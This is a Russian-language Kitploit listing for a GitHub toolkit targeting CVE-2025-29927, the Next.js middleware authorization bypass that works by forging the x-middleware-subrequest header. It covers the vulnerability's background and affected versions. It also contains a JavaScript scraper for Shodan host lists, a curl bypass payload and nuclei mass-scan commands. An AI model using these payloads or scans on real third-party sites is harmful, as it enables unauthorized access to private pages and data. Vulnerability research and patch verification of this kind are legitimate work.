Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-29927 — Набор инструментов для доказательства концепции и массового сканирования CVE-2025-29927 — обхода авторизации в промежуточном ПО Next.js с помощью поддельного заголовка x-middleware-subrequest. Включает шаблоны nuclei и сканер на Python. | Kitploit
Инструменты/GitHubGitHub/sdrtba/cve-2025-29927
Аутентификация и авторизацияАнализ уязвимостейОбход IDS/IPSЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

Набор инструментов для доказательства концепции и массового сканирования CVE-2025-29927 — обхода авторизации в промежуточном ПО Next.js с помощью поддельного заголовка x-middleware-subrequest. Включает шаблоны nuclei и сканер на Python.

Репозиторий
401 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-29927 — Next.js (middleware authorization bypass)

Кратко: уязвимость в middleware Next.js, позволяющая обходить проверки авторизации путём подделки заголовка x-middleware-subrequest.


Содержание

  • CVE-2025-29927 — Next.js (middleware authorization bypass)
    • Содержание
    • Сбор уязвимых хостов
    • Ещё инфа
    • Краткое описание
    • Детали уязвимости
    • CWE Weakness Enumeration
    • Влияние и дополнительные риски
    • Затронутые версии
    • CVSS и метрики
    • PoC — безопасное воспроизведение локально
    • Массовая проверка nuclei, Python
      • Nuclei
      • Python-сканер (архитектура)
    • Mitigation / Remediation
    • Detection / SIEM / IDS правила
    • Обнаружение и массовая проверка (Scanning & Detection)
    • Ресурсы и ссылки

Сбор уязвимых хостов

Выполнил поиск в shodan по фильтру http.headers:"x-middleware-rewrite" и забрал список из 1000 доменов

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


Ещё инфа

  1. Контекст и предыстория В ранних версиях Next.js middleware могли вызывать внутренние (sub-)запросы к самому приложению. Чтобы предотвратить рекурсию, фреймворк вводил служебные HTTP-заголовки — внутренние маркеры, которые помечали «этот запрос уже обработан». Такой подход был практичным и позволял избежать бесконечных циклов внутри pipeline middleware.

  2. Эволюция middleware и полезные нагрузки (payloads) До Next.js 12.2 middleware располагались как _middleware внутри pages/ и могли быть вложенными (pages/_middleware, pages/dashboard/_middleware и т.д.). Payload мог указывать конкретный путь (x-middleware-subrequest: pages/dashboard/_middleware). С 12.2 middleware стали именоваться middleware.js/ts и перестали жить в pages/. В этом случае простой payload x-middleware-subrequest: middleware (или src/middleware при использовании src/) часто работал. Поздние версии (≥ 13.2.0) ввели дополнительные проверки, включая MAX_RECURSION_DEPTH; в некоторых обходах использовали повторяющиеся значения вида middleware:middleware:... для имитации вложенной цепочки. Практически: точный формат payload зависит от версии Next.js и структуры проекта.

  3. История фиксации и проблема с x-middleware-subrequest-id Первоначальный быстрый патч включал идею с внутренним идентификатором — x-middleware-subrequest-id — который генерировался и проверялся на рантайме, чтобы отличать валидные внутренние subrequests от подделок. Однако реализация показала побочный эффект: этот внутренний ID мог утекать наружу (попадая в outgoing fetch/запросы), что создавало новый риск. Кроме того, подпись/синхронизация идентификаторов оказалось ненадёжной в условиях множества CDN/PoP и смешанных рантаймов (Edge vs Node). В результате код с x-middleware-subrequest-id был удалён/переработан; окончательное решение — сочетание патчей в Next.js и платформенных mitigations (фильтрация входящих internal-заголовков на уровне ingress/edge).


Краткое описание

  • CVE: CVE-2025-29927
  • Продукт: Next.js (Vercel)
  • Кратко: middleware, реализующая авторизацию, неправильно доверяет внутреннему флагу x-middleware-subrequest. Внешний клиент может поставить этот заголовок и обойти проверки доступа.
  • Дата публикации NVD: 21 марта 2025 г.
  • CNA: GitHub, Inc.

Детали уязвимости

  • Описание: Ошибка заключается в том, что middleware в Next.js полагается на внутренний признак x-middleware-subrequest при принятии решения о доступе. Поле изначально предназначалось для внутренних операций фреймворка, однако внешние запросы могут установить этот заголовок, что позволяет обойти авторизацию.
  • Причина уязвимости: неправильная/небезопасная логика авторизации — доверие к входящему заголовку.
  • Условия эксплуатации: веб-приложение использует только middleware для авторизации; приложение использует уязвимые версии Next.js.

CWE Weakness Enumeration

  • CWE-863: Incorrect Authorization — primary
    • Evidence: middleware доверял заголовку 'x-middleware-subrequest' и пропускал запросы без дополнительной валидации.
  • CWE-285: Improper Authorization — secondary
    • Evidence: отсутствие надёжной аутентификации/авторизации для internal-only flow.

Влияние и дополнительные риски

  • Влияние: обход авторизации дает доступ к приватным страницам/данным, возможность эскалации (в зависимости от приложения), компрометация пользовательских данных.
  • Дополнительный риск: CPDoS (Cache-Poisoned DoS): уязвимость может позволить манипулировать кэшем CDN/edge (например, если внутренние subrequests помечают ресурсы как приватные/публичные), что приводит к отравлению кэша и потенциальному отказу или раскрытию данных.
  • Примеры последствий: утечка PII, обход бизнес-логики, скомпрометированные сессии, вмешательство в маршрутинг приложения.

Затронутые версии

Уязвимы следующие диапазоны версий:

  • >= 11.1.4 и < 12.3.5
  • >= 13.0.0 и < 13.5.9
  • >= 14.0.0 и < 14.2.25
  • >= 15.0.0 и < 15.2.3

CVSS и метрики

  • Base Score: 9.1 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporal: E:P (PoC) * RL:O (official fix) * RC:C (confirmed) = 8.2 (примерный Temporal Score).

PoC — безопасное воспроизведение локально

  1. Поднять vulnerable demo:
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. Простой read-only PoC (curl):
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

Массовая проверка nuclei, Python

Nuclei

  • Passive template: проверка fingerprint (/_next/static/, package.json, headers, favicon hash) — безопасный режим.
  • Active template: отправляет GET с x-middleware-subrequest и сравнивает ответ. Обязательно использовать rate-limit и throttle.

Команда для запуска (пример):

# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Python-сканер (архитектура)

  • Алгоритм: для каждого хоста получить базовый ответ (без заголовка) → повторить с заголовком x-middleware-subrequest → сравнить статус и тело.
  • Обязательные опции: --concurrency, --delay, --dry-run, --respect-robots.
  • Используйте aiohttp / asyncio для высокой производительности.

Короткий псевдокод:

Скачать инструмент